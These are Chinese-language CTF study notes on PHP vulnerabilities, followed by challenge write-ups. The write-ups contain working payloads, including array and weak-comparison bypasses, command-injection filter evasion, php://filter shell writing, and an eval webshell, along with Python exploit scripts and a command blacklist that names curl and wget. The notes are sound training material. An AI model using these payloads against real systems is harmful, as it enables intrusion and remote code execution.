ADAD我的未来在那里!
- 一。知识
- 1.1 strcmp函数的绕过
- 1.2 extract--变量覆盖漏洞
- 1.4 substr strpos
- 1.5 mb_substr,mb_strpos得到的变量即?前的内容
- 1.6 scandir dir
- 1.7 **create_function**
- 1.8 **intval**
- 1.9 is_numeric
- 1.10 md5
- 1.11 preg_replace
- 1.12 $$
- 1.13 用于打印的函数
- 1.14 array_push()
- 1.15 in_array()
- 1.16 file_put_contents() file_get_contents()
- 1.17 basename
- 1.18 请求参数中的非法宇符
- 二。文章
一。知识
1.1 strcmp函数的绕过
使用 strcmp 函数来比较两个字符串,并根据返回的结果来判断哪个字符串更大。具体的规则如下:
如果 strcmp 返回一个正整数,那么第一个字符串大于第二个字符串。
如果 strcmp 返回0,那么两个字符串相等。
如果 strcmp 返回一个负整数,那么第一个字符串小于第二个字符串。
①
以下是一个示例,演示如何使用 strcmp 来判断哪个字符串更大:
php
$string1 = "apple";
$string2 = "banana";
$result = strcmp($string1, $string2);
if ($result > 0) {
echo "$string1 大于 $string2";
} elseif ($result == 0) {
echo "$string1 等于 $string2";
} else {
echo "$string1 小于 $string2";
}
在这个示例中,strcmp 比较了 “apple” 和 “banana”,并返回一个正整数,因此输出是 “$string1 大于 $string2”。这表示 “apple” 在字典顺序中大于 “banana”。
strcmp 的参数只能是字符串,当我们传入数组时就会返回NULL,而判断使用的是==,NULL==0是 bool(true)的
代码测试
<?php
error_reporting(0);
$flag="{sadd44484878}";
if(isset($_GET['password']))
if (strcmp($_GET['password'],$flag)==0)
die('Flag: '.$flag);
else
print 'Invalid password';
?>
get 传参 password[] 数组,成功打出flag
1.2 extract–变量覆盖漏洞
extract()函数用法:
extract() 函数从数组中将变量导入到当前的符号表。
该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。
该函数返回成功设置的变量数目。
如果当前符号表中有于数组键值变量名相同的,那么用数组键值的变量覆盖
①
直接看题
trim()函数
trim() 函数移除字符串两侧的空白字符或其他预定义字符。
ltrim() - 移除字符串左侧的空白字符或其他预定义字符
rtrim() - 移除字符串右侧的空白字符或其他预定义字符
本题利用
extract()函数的变量覆盖漏洞原理构造payload
漏洞产生原因:extract()函数当只有一个参数时,默认的第二参数是:EXTR_OVERWRITE,如果有变量发生冲突,则覆盖已有的变量。
代码审计需要满足两个条件:
-
if(isset($a)) ==> TRUE
-
if(a==c) ==>TRUE
构造payload:
//利用extract()函数变量覆盖漏洞+php伪协议
http://123.206.87.240:9009/1.php?a=999&b=data://,999
1.4 substr strpos
substr(string,start,length)
函数返回字符串的一部分。
//从字符串中返回 "world":
<?php
echo substr("Hello world",6);
?>
strpos(string,find,start)
查找 “php” 在字符串中第一次出现的位置.
<?php
echo strpos("I love php, I love php too!","php");
?>
//输出:7
1.5 mb_substr,mb_strpos得到的变量即?前的内容
mb_substr() 函数返回字符串的一部分
下面:从0开始
<?php
echo mb_substr("菜鸟教程", 0, 2);
// 输出:菜鸟
?>
mb_strpos():返回要查找的字符串在别一个字符串中首次出现的位置
下面:从0开始
<?php
$str = 'feiniaomy.com';
echo mb_strpos($str,'niao');
//输出:3
?>
得到的变量即?前的内容
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
1.6 scandir dir
scandir()
返回指定目录中的文件和目录的数组。
var_dump(scandir(“/”));
dir
返回一个 Directory 类实例
1.7 create_function
create_function(string a, string b)会创造一个匿名函数,传入的两个参数均为字符串
其中,字符串a中表示函数需要传入的参数,字符串b表示函数中的执行语句
例如,create_function(‘$a’, ‘echo(“hello”);’),我们需要把它看作:
function niming($a)
{
echo("hello");
}
1.8 intval
intval() 函数用于获取变量的整数值
。
intval() 函数通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。
PHP 4, PHP 5, PHP 7
int intval ( mixed $var [, int $base = 10 ] )
参数说明:
$var:要转换成 integer 的数量值。
$base:转化所使用的进制。
如果 base 是 0,通过检测 var 的格式来决定使用的进制:
如果字符串包括了 "0x" (或 "0X") 的前缀,使用 16 进制 (hex);否则,
如果字符串以 "0" 开始,使用 8 进制(octal);否则,
将使用 10 进制 (decimal)。
返回值
成功时返回 var 的 integer 值,失败时返回 0。 空的 array 返回 0,非空的 array 返回 1。
最大的值取决于操作系统。 32 位系统最大带符号的 integer 范围是 -2147483648 到 2147483647。举例,在这样的系统上, intval(‘1000000000000’) 会返回 2147483647。64 位系统上,最大带符号的 integer 值是 9223372036854775807。
字符串有可能返回 0,虽然取决于字符串最左侧的字符。
实例
<?php echo intval(42); // 42
echo intval(4.2); // 4
echo intval('42'); // 42
echo intval('+42'); // 42
echo intval('-42'); // -42
echo intval(042); // 34
echo intval('042'); // 42
echo intval(1e10); // 1410065408
echo intval('1e10'); // 1
echo intval(0x1A); // 26
echo intval(42000000); // 42000000
echo intval(420000000000000000000); // 0
echo intval('420000000000000000000'); // 2147483647
echo intval(42, 8); // 42
echo intval('42', 8); // 34
echo intval(array()); // 0
echo intval(array('foo', 'bar')); // 1 ?>
//浮点数
echo intval(1.9);//1 壹
1.9 is_numeric
is_numeric() 函数用于检测变量是否为数字或数字字符串。
PHP 版本要求:PHP 4, PHP 5, PHP 7
语法
bool is_numeric ( mixed $var )
参数说明:
$var:要检测的变量。
返回值
如果指定的变量是数字和数字字符串则返回 TRUE,否则返回 FALSE,注意浮点型返回 1,即 TRUE。
1.10 md5
md5() 函数计算字符串的 MD5 散列。
如果成功,则返回所计算的 MD5 散列,如果失败,则返回 false。
<?php
$str = "Hello";
echo md5($str);
?>
#输出:
#8b1a9953c4611296a827abf8c47804d7
1.11 preg_replace
换行符绕过
因为preg_replace函数只能匹配一行的数据,因此我们只需先传入换行符\n(URL:%0a)
,那么后面的传入便不再被匹配
> preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [,
> int $limit = -1 [, int &$count ]] ) 搜索 subject 中匹配 pattern 的部分, 以
> replacement 进行替换。
>
> 参数说明:
>
> $pattern: 要搜索的模式,可以是字符串或一个字符串数组。
>
> $replacement: 用于替换的字符串或字符串数组。
>
> $subject: 要搜索替换的目标字符串或字符串数组。
>
> $limit: 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。 默认是-1(无限制)。
>
> $count: 可选,为替换执行的次数。
1.12 $$
变量覆盖
比如,下面代码的最后一行
如果$verify = “flag2”
, 那$$verify
就是$flag2
.
<?php
error_reporting(0);
require_once("flag.php");
show_source(__FILE__);
$pass = '0e0';
$md55 = $_COOKIE['token'];
$md55 = md5($md55);
if(md5($md55) == $pass){
if(isset($_GET['query'])){
$before = $_GET['query'];
$med = 'filter';
$after = preg_replace(
"/$med/", '', $before
);
if($after === $med){
echo $flag1;
}
}
$verify = $_GET['verify'];
}
extract($_POST);
if(md5($verify) === $pass){
echo $$verify;
}
?>
1.13 用于打印的函数
echo
可以同时输出多个字符串,带多个参数,但并不要求使用圆括号,也没有返回值
echo 'PHP中文网<br>'
echo ('echo也可以带括号<br>');
print
print函数同时只能输出一个字符串,只能带一个参数,需要带圆括号而且会有返回值。当其执行失败时返flase
print('www.php.cn<br\>')
printf
printf函数带有两个参数,第一个参数是指定输出格式,第二个参数是要输出的变量。输出格式为:
%s: 按字符串; %d: 按整型; %b: 按二进制; %x: 按16进制; %o: 按八进制; $f: 按浮点型
/*
$var = 10;
printf('整型:%d<br>', $var);
printf('浮点型:%.2f<br>', $var); // 保留两位小数
printf('字符串:%s<br>', $var);
printf('二进制:%b<br>', $var);
printf('八进制:%o<br>', $var);
printf('十六进制:%x<br>', $var);
// 打印结果
/*
整型:10
浮点型:10.00
字符串:10
二进制:1010
八进制:12
十六进制:a
*/
sprintf
sprintf不能直接输出变量值,而是直接将值读取给指定的变量:
$ret = sprintf('%.2f', $var);
echo "结果:{$ret}<br>";
print_r
print_r这个函数用于输出数组,带一个或者两个()。如果参数二设置为true,则不会输出表达式信息,而是直接return回来:
mixed print_r ( mixed $expression [, bool $return = false ] )
$arr = array('name' => 'PHP中文网', 'site' => 'www.php.cn');
print_r($arr);
echo '<br>';
// 参数二设置为true则不会打印,而是直接返回
$arr1 = print_r($arr, true);
echo "{$arr1}<br>";
var_dump
var_dump用于输出变量的内容、类型、字符串的内容,常用于开发中调试使用
die
die函数经常会中断下面的执行,它会先输出内容,然后退出程序或者不输出内容:
if (!isset($type)) {
die('I am die!<br>');
}
1.14 array_push()
向第一个参数的数组尾部添加一个或多个元素
1.15 in_array()
弱类型比较
函数搜索数组中是否存在指定的值。
in_array(value,array,type)
return boolen
value :要搜索的值
array : 被搜索的数组
type : 类型,true全等 ,false非全等(默认) `壹`
1.16 file_put_contents() file_get_contents()
int file_put_contents ( string $filename , mixed $data [, int $flags = 0 [, resource $context ]] )
将一个字符串写入文件
该函数将返回写入到文件内数据的字节数
file_get_contents(path,include_path,context,start,max_length)
将整个文件读入一个字符串
返回the read data
或者在失败时返回 FALSE
.
1.17 basename
basename函数遇到非ascii字符时会将其舍弃(从前往后)
basename() 函数返回路径中的文件名部分。
1.18 请求参数中的非法宇符
php会把请求参数中的非法宇符转为下划线
NI+SA+=NI_SA_
在php中变量名字是由数字字母和下划线组成的,所以不论用 post 还是 get 传入变量名的时候都将空格、+、点、[
转换为下划线,但是用一个特性是可以绕过的,就是当[提前出现后,后面的点就不会再被转义了,such as:CTF[SHOW.COM==CTF_SHOW.COM
注意:这种Trick只能在PHP版本小于8时有效,当PHP版本大于等于8并不会出现这种转换错误
二。文章
一。NSS
[NISACTF 2022]checkin
<?php
error_reporting(0);
include "flag.php";
// NISACTFWelcome to
if ("jitanglailo" == $_GET[ahahahaha] &+!!& " Flag!N1SACTF" == $_GET[Ugeiwocuishiyuan]) { //tnnd! weishenme b
echo $FLAG;
}
show_source(__FILE__);
?>
将代码复制到everedit中,可以看到乱码
要传参的变量名及其值都变了
payload:
/?ahahahaha=jitanglailo&Ugeiwocuishiyuan= Flag!N1SACTF
[GDOUCTF 2023]受不了一点
<?php
error_reporting(0);
header("Content-type:text/html;charset=utf-8");
if(isset($_POST['gdou'])&&isset($_POST['ctf'])){
$b=$_POST['ctf'];
$a=$_POST['gdou'];
if($_POST['gdou']!=$_POST['ctf'] && md5($a)===md5($b)){
if(isset($_COOKIE['cookie'])){
if ($_COOKIE['cookie']=='j0k3r'){
if(isset($_GET['aaa']) && isset($_GET['bbb'])){
$aaa=$_GET['aaa'];
$bbb=$_GET['bbb'];
if($aaa==114514 && $bbb==114514 && $aaa!=$bbb){
$give = 'cancanwordflag';
$get ='hacker!';
if(isset($_GET['flag']) && isset($_POST['flag'])){
die($give);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
die($get);
}
foreach ($_POST as $key => $value) {
$$key = $value;
}
foreach ($_GET as $key => $value) {
$$key = $$value;
}
echo $flag;
}else{
echo "洗洗睡吧";
}
}else{
echo "行不行啊细狗";
}
}
}
else {
echo '菜菜';
}
}else{
echo "就这?";
}
}else{
echo "别来沾边";
}
?>
别来沾边
第1,2个if是MD5强类型绕过
POST:gdou[]=1&ctf[]=2
第3,4个if是给Cookie传参
第5,6个if是"=="弱类型比较
GET: /?aaa=114514&bbb=114514a
后面的if没有用了
之前的条件满足后就得到flag了
[鹤城杯 2021]Middle magic
<?php
highlight_file(__FILE__);
include "./flag.php";
include "./result.php";
if(isset($_GET['aaa']) && strlen($_GET['aaa']) < 20){
$aaa = preg_replace('/^(.*)level(.*)$/', '${1}<!-- filtered -->${2}', $_GET['aaa']);
if(preg_match('/pass_the_level_1#/', $aaa)){
echo "here is level 2";
if (isset($_POST['admin']) and isset($_POST['root_pwd'])) {
if ($_POST['admin'] == $_POST['root_pwd'])
echo '<p>The level 2 can not pass!</p>';
// START FORM PROCESSING
else if (sha1($_POST['admin']) === sha1($_POST['root_pwd'])){
echo "here is level 3,do you kown how to overcome it?";
if (isset($_POST['level_3'])) {
$level_3 = json_decode($_POST['level_3']);
if ($level_3->result == $result) {
echo "success:".$flag;
}
else {
echo "you never beat me!";
}
}
else{
echo "out";
}
}
else{
die("no");
}
// perform validations on the form data
}
else{
echo '<p>out!</p>';
}
}
else{
echo 'nonono!';
}
echo '<hr>';
}
?>
1.代码分析
一共三层if,我们逐层看看:
第一个if要求aaa=pass_the_level_1#,但会将传入的level替换为filtered;
第二个if要求传入两个不相等变量admin和root_pwd,但要求两者sha1加密后相等;
第三个if要求传入level_3,对其进行json_decode后,需要$level_3->result == $result
2. 构造payload
[0x00] \n
第一个if,因为preg_replace函数只能匹配一行的数据,因此我们只需先传入换行符,那么后面的传入便不再被匹配:
/?aaa=%0apass_the_level_1%23
%0a
和%23
分别是换行符和井号键的url编码
[0x01] a[]
第二个if,我们利用数组绕过,具体原因是sha1加密时,若传入的是数组,返回值为null:
admin[]=1&root_pwd[]=2
[0x02] JSON:level_3={“*”: *}
第三个if,我们传入一个JSON格式的字符串,即:
level_3={"result":0}
php弱比较在面对纯字符与0的比较时,会返回true,例如a == 0返回为true
此处推测$result是纯字符,因此构造result->0
将上述传入后得到flag:
——————————
[鹤城杯 2021]EasyP
考点:
basename函数遇到非ascii字符
时会将其舍弃(从前往后) [变为_
疑点:
要加上index.php
才行
<?php
include 'utils.php';
if (isset($_POST['guess'])) {
$guess = (string) $_POST['guess'];
if ($guess === $secret) {
$message = 'Congratulations! The flag is: ' . $flag;
} else {
$message = 'Wrong. Try Again';
}
}
if (preg_match('/utils\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("hacker :)");
}
if (preg_match('/show_source/', $_SERVER['REQUEST_URI'])){
exit("hacker :)");
}
if (isset($_GET['show_source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}else{
show_source(__FILE__);
}
?>
[分析区]
猜测一个叫做$secret的变量的值,跟这个毛线关系都没有
if (preg_match(‘/utils.php/*$/i’, $_SERVER[‘PHP_SELF’])) { … }:
检查$_SERVER[‘PHP_SELF’]的值是否匹配utils.php或以utils.php结尾
的路径。
if (preg_match(‘/show_source/’, $_SERVER[‘REQUEST_URI’])){ … }:
检查$_SERVER[‘REQUEST_URI’]的值是否包含字符串"show_source"
。
if (isset($_GET[‘show_source’])) { … } else { … }:
显示文件的源代码,
——————————————————————————————
[知识区]
预定义全局变量
$_SERVER[‘PHP_SELF’]:
$_SERVER[‘PHP_SELF’] 包含了当前脚本文件的相对路径
。它是当前执行的PHP脚本文件的名称,相对于服务器文档根目录。例如,如果当前执行的脚本是 http://example.com/myapp/index.php,那么 $_SERVER['PHP_SELF'] 的值将是 /myapp/index.php。
这个变量通常用于构建自引用的URL,例如在表单处理中,以确保表单的提交目标是当前页面。
$_SERVER[‘REQUEST_URI’]:
$_SERVER[‘REQUEST_URI’] 包含了完整的当前请求的URI(统一资源标识符),包括路径和查询字符串
。它表示用户请求的整个URL,包括域名后的路径和查询参数(如果有的话)。
例如,如果用户请求的URL是 http://example.com/myapp/page.php?param=value,那么 $_SERVER['REQUEST_URI'] 的值将是 /myapp/page.php?param=value。
先考虑第二个if语句,我们在utils.php后面加一个非ascii字符即可(因为是从后往前找,遇到非ascii字符就停了):
GET或POST方式传进去的变量名,会自动将空格 + . [转换为_
所以这里我们传入show[source先通过第三个if,在第四个if中GET传参的时候会转换回_
basename() 函数返回路径中的文件名部分。
basename函数遇到非ascii字符时会将其舍弃(从前往后)
[瞎搞区]
payload:
/index.php/utils.php/哈哈?show[source=1
[WUSTCTF 2020]朴实无华
考点:
[0x00] 艰难找文件
访问/robots.txt
得到/fAke_f1agggg.php
参考:
https://www.nssctf.cn/note/set/534
二。NewStarCTF 2023
Begin of PHP
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['key1']) && isset($_GET['key2'])){
echo "=Level 1=<br>";
if($_GET['key1'] !== $_GET['key2'] && md5($_GET['key1']) == md5($_GET['key2'])){
$flag1 = True;
}else{
die("nope,this is level 1");
}
}
if($flag1){
echo "=Level 2=<br>";
if(isset($_POST['key3'])){
if(md5($_POST['key3']) === sha1($_POST['key3'])){
$flag2 = True;
}
}else{
die("nope,this is level 2");
}
}
if($flag2){
echo "=Level 3=<br>";
if(isset($_GET['key4'])){
if(strcmp($_GET['key4'],file_get_contents("/flag")) == 0){
$flag3 = True;
}else{
die("nope,this is level 3");
}
}
}
if($flag3){
echo "=Level 4=<br>";
if(isset($_GET['key5'])){
if(!is_numeric($_GET['key5']) && $_GET['key5'] > 2023){
$flag4 = True;
}else{
die("nope,this is level 4");
}
}
}
if($flag4){
echo "=Level 5=<br>";
extract($_POST);
foreach($_POST as $var){
if(preg_match("/[a-zA-Z0-9]/",$var)){
die("nope,this is level 5");
}
}
if($flag5){
echo file_get_contents("/flag");
}else{
die("nope,this is level 5");
}
}
第一处if:
MD5弱类型绕过:
?key1[]=1&key2[]=2
第二处if:
MD5弱类型绕过:
&key4[]=11
一二处都还可以:0e开头的全部相等
第三处if:
strcmp 的参数只能是字符串,当我们传入数组时就会返回NULL,而判断使用的是==,NULL==0是 bool(true)的:
key3[]=1
第四处if:
&key5=13123a
也是弱类型比较:2024a
第五处if:
extract()函数用法: extract() 函数从数组中将变量导入到当前的符号表。
该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。
该函数返回成功设置的变量数目。
如果当前符号表中有于数组键值变量名相同的,那么用数组键值的变量覆盖
&flag5='
三。2022 CNSS夏令营
Signin
直接打开链接, 显示Please Change Your Method!. 改成Post后访问出现PHP代码:
<?php
error_reporting(0);
require_once("flag.php");
if($_SERVER['REQUEST_METHOD'] !=='POST'){
die("Please Change Your Method!");
exit();
}else{
if(!isset($_POST["CNSS"])){
show_source(__FILE__);
}
else if($_POST["CNSS"] === "join"){
if((isset($_GET["web"])) && (($_GET["web"]) === "like")){
setcookie("flag","0");
if($_COOKIE['flag'] === '1'){
echo $flag;
}else{show_source(__FILE__);}
}else{
show_source(__FILE__);
}
}
}
需要在POST的data里加入CNSS: join, 在GET的args里写上?web=like, 并且设置cookie中flag=1, 就会打印flag啦~
Python代码
import requests
url = 'http://8.130.29.197:6001?web=like'
data = {'CNSS': 'join'}
cookies = {'flag': '1'}
x = requests.post(url, data=data, cookies=cookies)
print(x.text)
或Burp Suite,hackbar
结果
Trick
确实是一道搜索引擎应用题, PHP漏洞多, 不可能全部记住, 找到重点可疑句子拿去搜索, 大概率有结果
<?php
error_reporting(0);
require_once("flag.php");
show_source(__FILE__);
$pass = '0e0';
$md55 = $_COOKIE['token'];
$md55 = md5($md55);
if(md5($md55) == $pass){
if(isset($_GET['query'])){
$before = $_GET['query'];
$med = 'filter';
$after = preg_replace(
"/$med/", '', $before
);
if($after === $med){
echo $flag1;
}
}
$verify = $_GET['verify'];
}
extract($_POST);
if(md5($verify) === $pass){
echo $$verify;
}
?>
[漏洞 0x00] 弱类型比较漏洞 (==)
php有两种类型比较的符号, 弱类型比较==和强类型比较===. 在弱类型比较时会转换变量类型, 这样有些不相等的东西也会变相等了.
这里就是利用了弱类型比较时, 0e开头且后面都是数字的字符串会被转换成科学计数法的数字, 也就是0的n次方, 都等于零. 所以’0exxxxx’都是弱比较相等的.
所以我们只需要找到md5加密两次之后, 开头还是0e的字符串. 写个Python脚本爆破一个出来Google一下能找到已经爆破好的字符串, 如f2WfQ
和iv2Cn
.
[漏洞 0x01] 正则匹配漏洞
如代码所示, 会把filter从字符串里去掉, 并且要求去掉后的字符串还是filter.
那么其实动动歪脑筋, 把这个单词拆开放在这个单词两边就行了, 如fifilterlter, 代码会把中间的filter字样去掉, 去掉了还是fliter这个单词.
所以把query设置成fifilterlter就好了.
这个时候运行就可以得到前半个flag了, 也就是flag1.
为什么只有一半的变量捏, 那有flag1肯定有flag2是吧, 我们怎么输出flag2捏?
[漏洞 0x02] extract漏洞
extract会把字典里的内容提取出来变成变量, 这个过程会覆盖掉原有的同名变量这样就可以替换掉.
所以我们post个verify和pass上去, 让md5(verify)和pass相等就行.
md5("flag2") = 9a48ddad2656385fce58af47a0ef56cf
[漏洞 0x03] 双$$转义漏洞
绕过了那个if了, 怎么打印flag2呢?
仔细看, 最后一个echo的是$$verify, 有两个$. 这样会将verify的内容当成变量名再取一次变量.
比如, 如果$verify = “flag2”, 那$$verify就是$flag2.
那么我们就只需要将verify设置成flag2即可打印出flag2
此时pass就是"flag2"这个字符串的md5值
代码及结果
完整Python源码:
import requests
url = 'http://8.130.29.197:6005?query=ffilterilter'
cookie = {"token": "f2WfQ"}
# md5("flag2") = 9a48ddad2656385fce58af47a0ef56cf
data = {"pass": "9a48ddad2656385fce58af47a0ef56cf", "verify": "flag2"}
x = requests.post(url, cookies=cookie, data=data)
print(x.text)
BlackPage
php://filter
打开网页, 在网页源码的注释里找到线索:
<?phps
$file = $_GET["file"];
$blacklist = "(**blacklist**)";
if (preg_match("/".$blacklist."/is",$file) == 1){
exit("Nooo,You can't read it.");
}else{
include $file;
}
//你能读到 mybackdoor.php 吗?
考点是php://filter和包含的应用
这里我们直接用php://filter/read=convert.base64-encode/resource=
就能读取mybackdoor.php文件. 访问http://8.130.29.197:6006/?file=php://filter/read=convert.base64-encode/resource=mybackdoor.php
即可.
Tab代替空格/URL编码
拿去base64解密后就能看到mybackdoor.php:
<?php
error_reporting(0);
function blacklist($cmd){
$filter = "(\<|\>|Fl4g|php|curl| |0x|\\|python|gcc|less|root|etc|pass|http|ftp|cd|tcp|udp|cat|×|flag|ph|hp|wget|type|ty|\$\{IFS\}|index|\*)";
if (preg_match("/".$filter."/is",$cmd)==1){
exit('Go out! This black page does not belong to you!');
}
else{
system($cmd);
}
}
blacklist($_GET['cmd']);
?>
这里禁用了很多命令, 甚至包括空格, 但是我们可以用tab来替代空格, tab在url编码里是%09
, 所以ls /
就可以写成ls%09/
.
访问http://8.130.29.197:6006/mybackdoor.php?cmd=ls%09
得到目录下文件, flag文件名为Fl4g_is_here
绕过正则匹配
现在我们需要输出这个文件, 有几个不同的方法
[方法 0x00] 单引号绕过preg_match
这里涉及到单引号可以绕过preg_match的考点, cat不能用, 写成c’a’t就行了.
于是输出命令就变成了c'a't%09F'l'4'g_is_here
[方法 0x01] 使用nl命令
nl是输出带行号的文件内容的命令, 且可以模糊匹配文件名, 这里没有被禁掉, 我们就可以直接nl%09/F[a-z]4g_is_here
运行
[方法 0x02] 使用base64编码读取
linux的echo
可以解码base64
, 可以利用这个特性绕过正则, 输出工具用tac, nl
这些都行, 反引号意思是将echo的结果输出给前面的命令, /Fl4g_is_here
的加密结果为L0ZsNGdfaXNfaGVyZQ
所以可以直接使用
nl%09`echo%09L0ZsNGdfaXNfaGVyZQ|base64%09-d`
或
tac%09`echo%09L0ZsNGdfaXNfaGVyZQ|base64%09-d`
输出flag
结果
上面的命令任选其一, 作为参数访问 http://8.130.29.197:6006/mybackdoor.php?cmd=
即可.
太极掌门人
打开页面获得php代码
<?php
error_reporting(0);
show_source(__FILE__);
function deleteDir($path) {
if (is_dir($path)) {
$dirs = scandir($path);
foreach ($dirs as $dir) {
if ($dir != '.' && $dir != '..') {
$sonDir = $path.'/'.$dir;
if (is_dir($sonDir)) {
deleteDir($sonDir);
@rmdir($sonDir);
} elseif ($sonDir !== './index.php'
&& $sonDir !== './flag.php') {
@unlink($sonDir);
}
}
}
@rmdir($path);
}
}
$devil = '<?php exit;?>';
$goods = $_POST['goods'];
file_put_contents($_POST['train'], $devil . $goods);
sleep(1);
deleteDir('.');
?>
函数里一大段不用管, 用来删除你扔进去的文件的,主要是看后面这几行
$devil = '<?php exit;?>';
$goods = $_POST['goods'];
file_put_contents($_POST['train'], $devil . $goods);
sleep(1);
deleteDir('.');
很明显, 你可以通过file_put_contents
写点文件到某个php文件里, 然后你有一秒的时间访问它.
但是写入它之前明显你需要先去掉或者绕过<?php exit;?>
才能使你写入的代码正常执行.
所以这里就涉及到file_put_contents的漏洞问题了, 由于此函数的特性, 文件名处(也就是这段代码里的train), 可以使用php://filter
语句, 我们就可以通过filter加解密的方式将破坏掉
php://filter/write=convert.base64-decode/resource=shell.php 可以将内容解密后再写入, 我们传入我们想要的代码的base64密文, 拼接在前面的<?php exit;?>会被解码成乱码, 而我们的代码可以正常解密.
需要注意的是, 由于符号不会被解密, <?php exit;?>被解密的就只有phpexit这七个字符. base64密文是4个为一组, 所以我们需要再多添一位.
比如, 我想执行<?php system('cat flag.php');?>, 这段话加密后为PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==, 我们在前面添加一位变成aPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==. 这样传进去解码后的结果就是�^�+Z<?php system('cat flag.php');?>, 执行后直接就输出了.
Python代码:
import requests
from threading import Thread
from time import sleep
url = "http://8.130.29.197:6002/"
url2 = "http://8.130.29.197:6002/shell.php"
data = {
'goods': 'aPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==',
'train': 'php://filter/write=convert.base64-decode/resource=shell.php',
}
t = Thread(target=requests.post, args=(url, data))
t.start()
sleep(0.5)
x = requests.get(url2)
print(x.text)
因为只有1s, 所以我用多线程同时访问两个页面, 不会超时.
结果:
四。ctf.show
web99
考点:
in_array中的弱类型比较
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 22:36:12
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']);
}
?>
for循环里面的条件确实看不大懂,直接看里面的语句
in_array($_GET[‘n’], $allow)
//检测n
中是否有$allow
的值,这里并没有第三个参数type,因此存在漏洞,就可以形成自动转换,即n=1.php
会自动转换为1
然后就可以使用下面的payload生成含马文件
GET:?n=1.php
POST:content=<?php @eval($_POST[8]);?>
http://d1efc132-0538-42c6-9e3b-7a927d0d6500.challenge.ctf.show/1.php
连蚁剑
参考:https://blog.csdn.net/whisper921/article/details/124546397